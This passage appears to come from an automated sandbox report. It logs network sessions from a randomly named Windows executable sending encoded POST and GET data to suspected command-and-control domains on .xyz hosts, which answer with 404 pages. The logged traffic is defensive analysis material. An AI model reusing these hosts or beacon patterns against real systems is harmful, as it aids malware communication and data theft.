0PIXBf9=zXYIHHn8ALUg+5lqqqmhsN2DcbNlsIH/6Qt+2RjT7kZNbAArbVDBU/+Bot+wUQF+ZN+AHgoW7SSj+Gbnv3bztVMQrdMoGsVTLKxDZnXEPm6F27bn7c14noAIiIZSaswR0ZaFtebTg3ezznzfltROH4NcB1X73MwLFO9iPjL4wgwa2U80sqYdZndP/pos8jnVReO+4DnF4kUrJqysn6ZiMD0jJ7wSHOUWNrTP3tTKKeB2FdVyc49XHRG4R2qjSAXh0zOlgUiltKMcKxs0mSTUjlF/HV7T1/XS+skFNo5EoxTYlDaxqCLcdpMwpksXPnuWfwMA+qQ/EPJkyfz4qQsQM1mdPKJ97frSJcUja/WTyxi3PT6E/H+LDo012XaAxUkVbkPqpORqWJj3nQLh0yx2NKlAJKqOXHb6njHQ2P8uJqXEH26lFY5szTz/nr0vESBS45L9B0ApjrLNEzEd859SDGoKQAgJF1tBEpCHowUkmnHqlFGRmG6rJRR5YwNLgE9sgg6aJnXYddqc2rbUa1JCVKSJN9tu16fplh6sw30Z9UqaU5Pp7f5pJpvICTMAdQY2Mv7RGjKK1M3WOuDO52Qv7Eybr+8xetj1ZUoA/5RTrJoHRqdTYilnPjra/Oyk5Gvm65Bz2cwzt8IM2I1yxfuBoISL+DkKKJZ/KDiqgD75Kqov8QXQwSKqxQwiQenmmUwZRmsWcGhd9D4F9i7D15H5Gjf8Gq1Hb7GJGi7tRVaoC5mzaEeqI5e0rvQfo2WJxEyCqnO2kkMUSpOFcJGXnXOY13qgZLhHdu1wYDlEYgQrxvzm3tp68rkCxsKBla78fXbxiIWleRn4vfuUUohrxpPCpd9MNBfE4f1p40qE/I8DavkeSizvNTH97wZ03kgjvU9RX/8Io83SMK2SwBB8TH5CIT4ImkgUDcAW1+VHqJpCIF/d0EHu9zvck9KoQ5L2beC46BfWj+7OzVeqg9e/SHouxPTpZJEulALblf3gBzfy7D26 [TRUNCATED]
Nov 18, 2024 13:14:10.474663019 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:10 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	53168	176.32.38.130	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:12.127274990 CET	547	OUT	GET /aqil/?tD_=f00xUVKh&0PIXBf9=+VwoEzPaDs0s7aELp9mEitaybqlo9Ma6vB91+jO83mkKcBs1X1DQL/6P3P2ZQT9OHqbgLgcpvVmqnE/hn02MtVwUieIUVcwPPIBQaGnRdw6ZzI3y7/51wpZ1zsNtMrZa/5ef5+yRkwqf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.acc888ommodate.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:14:13.032849073 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:12 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	53169	161.97.142.144	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:18.296999931 CET	807	OUT	POST /zffa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.070002018.xyz Origin: http://www.070002018.xyz Referer: http://www.070002018.xyz/zffa/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 47 70 63 30 4a 78 39 32 73 44 58 4c 47 4d 55 76 32 57 46 47 75 6b 38 30 69 2f 6a 55 75 2b 6c 4f 70 6d 74 75 32 45 51 37 70 50 54 76 71 52 4f 42 58 5a 68 2b 30 67 75 62 57 73 33 49 56 2f 59 73 44 72 51 33 72 58 36 59 57 75 4b 68 75 7a 39 72 74 47 63 52 51 58 52 31 64 76 69 6b 4c 78 66 4b 79 68 51 36 79 71 45 78 36 73 30 66 41 71 4e 6c 67 52 57 61 6b 48 50 74 65 39 4d 38 62 78 46 62 55 36 71 48 61 71 56 69 4a 69 6e 49 62 79 41 66 50 34 67 48 72 5a 71 58 61 61 6e 4b 4e 6b 70 43 36 37 75 62 35 41 4c 73 7a 35 43 56 73 67 43 6c 6a 55 42 31 44 38 75 33 64 77 47 79 38 6b 33 49 30 79 73 4f 79 41 70 6a 31 6a 5a 71 37 78 32 32 78 51 3d 3d Data Ascii: 0PIXBf9=Gpc0Jx92sDXLGMUv2WFGuk80i/jUu+lOpmtu2EQ7pPTvqROBXZh+0gubWs3IV/YsDrQ3rX6YWuKhuz9rtGcRQXR1dvikLxfKyhQ6yqEx6s0fAqNlgRWakHPte9M8bxFbU6qHaqViJinIbyAfP4gHrZqXaanKNkpC67ub5ALsz5CVsgCljUB1D8u3dwGy8k3I0ysOyApj1jZq7x22xQ==
Nov 18, 2024 13:14:19.154207945 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 18, 2024 13:14:19.154241085 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	53170	161.97.142.144	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:20.863195896 CET	827	OUT	POST /zffa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.070002018.xyz Origin: http://www.070002018.xyz Referer: http://www.070002018.xyz/zffa/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 47 70 63 30 4a 78 39 32 73 44 58 4c 48 6f 6f 76 7a 31 64 47 2f 45 38 72 2b 50 6a 55 6e 65 6c 30 70 6d 70 75 32 41 49 72 70 64 33 76 71 77 2b 42 57 63 56 2b 7a 67 75 62 64 4d 33 51 52 2f 5a 75 44 72 4d 42 72 57 47 59 57 75 4f 68 75 77 70 72 71 78 77 65 42 58 52 33 49 2f 69 6d 50 78 66 4b 79 68 51 36 79 71 67 4c 36 73 4d 66 44 61 39 6c 68 30 69 5a 74 6e 50 75 4a 4e 4d 38 4b 68 46 66 55 36 71 31 61 76 31 49 4a 6e 6a 49 62 79 77 66 57 4b 45 45 68 5a 71 52 58 36 6d 45 43 30 6c 50 6a 5a 2b 6f 39 52 50 5a 2b 59 71 50 6b 32 44 48 35 32 4e 5a 64 74 57 4d 5a 79 69 45 72 43 71 39 32 7a 6f 57 2f 69 64 43 71 55 38 41 32 6a 58 79 6e 67 50 57 6a 6d 6d 51 44 4d 74 64 79 44 76 6a 61 53 4c 59 37 46 6f 3d Data Ascii: 0PIXBf9=Gpc0Jx92sDXLHoovz1dG/E8r+PjUnel0pmpu2AIrpd3vqw+BWcV+zgubdM3QR/ZuDrMBrWGYWuOhuwprqxweBXR3I/imPxfKyhQ6yqgL6sMfDa9lh0iZtnPuJNM8KhFfU6q1av1IJnjIbywfWKEEhZqRX6mEC0lPjZ+o9RPZ+YqPk2DH52NZdtWMZyiErCq92zoW/idCqU8A2jXyngPWjmmQDMtdyDvjaSLY7Fo=
Nov 18, 2024 13:14:21.698690891 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 18, 2024 13:14:21.698707104 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	53171	161.97.142.144	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:23.595905066 CET	1840	OUT	POST /zffa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.070002018.xyz Origin: http://www.070002018.xyz Referer: http://www.070002018.xyz/zffa/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 47 70 63 30 4a 78 39 32 73 44 58 4c 48 6f 6f 76 7a 31 64 47 2f 45 38 72 2b 50 6a 55 6e 65 6c 30 70 6d 70 75 32 41 49 72 70 64 2f 76 72 47 71 42 58 2f 39 2b 79 67 75 62 44 38 33 45 52 2f 59 32 44 72 45 64 72 57 4b 49 57 73 47 68 73 53 78 72 72 44 49 65 49 58 52 33 4b 2f 69 6e 4c 78 66 36 79 6c 4d 2b 79 71 77 4c 36 73 4d 66 44 63 5a 6c 31 52 57 5a 68 48 50 74 65 39 4d 77 62 78 45 34 55 36 44 41 61 76 35 79 4a 55 72 49 63 57 55 66 4e 5a 67 45 38 4a 71 54 55 36 6e 5a 43 30 6f 50 6a 5a 53 65 39 52 71 30 2b 5a 65 50 31 51 4f 67 6a 48 42 64 41 39 65 77 51 67 43 43 67 67 47 79 79 43 73 4e 77 6a 74 69 33 6d 4d 30 74 56 7a 6a 74 30 53 7a 36 32 4b 76 61 2b 35 50 38 57 43 35 4f 77 48 4c 6b 42 51 47 41 69 49 72 6b 78 76 49 75 58 70 65 56 77 50 65 70 67 6d 31 49 72 56 4f 64 59 78 63 35 70 46 66 63 75 64 62 4c 79 35 78 56 42 61 77 53 72 56 69 2b 4f 4e 46 62 2f 2b 34 6b 32 57 50 79 49 50 73 4e 32 4d 4f 77 71 49 6d 34 4c 49 52 49 45 72 6c 63 6a 66 50 30 67 79 57 4b 77 2b 30 4a 5a 37 61 39 75 [TRUNCATED] Data Ascii: 0PIXBf9=Gpc0Jx92sDXLHoovz1dG/E8r+PjUnel0pmpu2AIrpd/vrGqBX/9+ygubD83ER/Y2DrEdrWKIWsGhsSxrrDIeIXR3K/inLxf6ylM+yqwL6sMfDcZl1RWZhHPte9MwbxE4U6DAav5yJUrIcWUfNZgE8JqTU6nZC0oPjZSe9Rq0+ZeP1QOgjHBdA9ewQgCCggGyyCsNwjti3mM0tVzjt0Sz62Kva+5P8WC5OwHLkBQGAiIrkxvIuXpeVwPepgm1IrVOdYxc5pFfcudbLy5xVBawSrVi+ONFb/+4k2WPyIPsN2MOwqIm4LIRIErlcjfP0gyWKw+0JZ7a9uzGUlUkQQwEpPtLnrD+sssxxmrS4BotbownomSD/VpFWJiV3InhhMyMiQThAyiGUyK1nvQyTxW+IsVoTwApcd4FKf/8lyFI5HYjRh7PqsIl4ygvnePjj3ldzzmyKCjpfT0gwV2msM7kZjgUx+Q9bNW3X0AM0EKg4j5pBhIUJGz+PONb8xQIQYCRJRLLdMatIq+YLXHgxrY20PXW88gO0iy751KJzqdgxGgYBspIz5Bj396F74Wv1eM5/EZ3CgmFGxmr9keMq+rT3l9fVNjrXKJnv8cM2qCH1jSzDo6Y1mpcUGrl2LtMidCjAQetdKLlABK1G/Tz73CmcYRVHDrnLImNWrTKEiGIEkiChvKpoa90TXHDdFV7pFg4i4hgK0rgsa/6MRrbDrysspaP7L6fLFsu83Y8Hq8UiF1g8F74DvW3H6k4jASZnkCboNCBEAND/4GBPSpurBe89HXzRGV266+McfVobulKFFLbXkgaBjPbU4iCLDSamHgpdNa+9wrNFcBm28Y/SMSBvtERjwF757BaEU1VGV5G2RsfYPZyKg/qfS2K+ABvgE8FOzGAQVGZ86E+tixt2OZctk8Nn1pCBqxG98wpWgQD+o+p2DbMr6mF25f4KPXHKyP5H4lVrSg+r9HHbFeM7gxMTbs2aqEDjaDMZ+aDuzQPzHia [TRUNCATED]
Nov 18, 2024 13:14:24.360114098 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 18, 2024 13:14:24.360138893 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	53172	161.97.142.144	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:26.173993111 CET	542	OUT	GET /zffa/?0PIXBf9=Lr0UKEZNgDTJN6gT+Us371Y8hMyDvaQkpz1n9V5B19O6mDyNa8d38Q+pA9qLUvQ8A8Z/r2CCV5OH4hlRsxt9M39/KtueIxj6h2UJ95Aou8NDO7hK3C23zz+4LvY5JlduZs+ECZ1LIizb&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.070002018.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:14:27.024132967 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 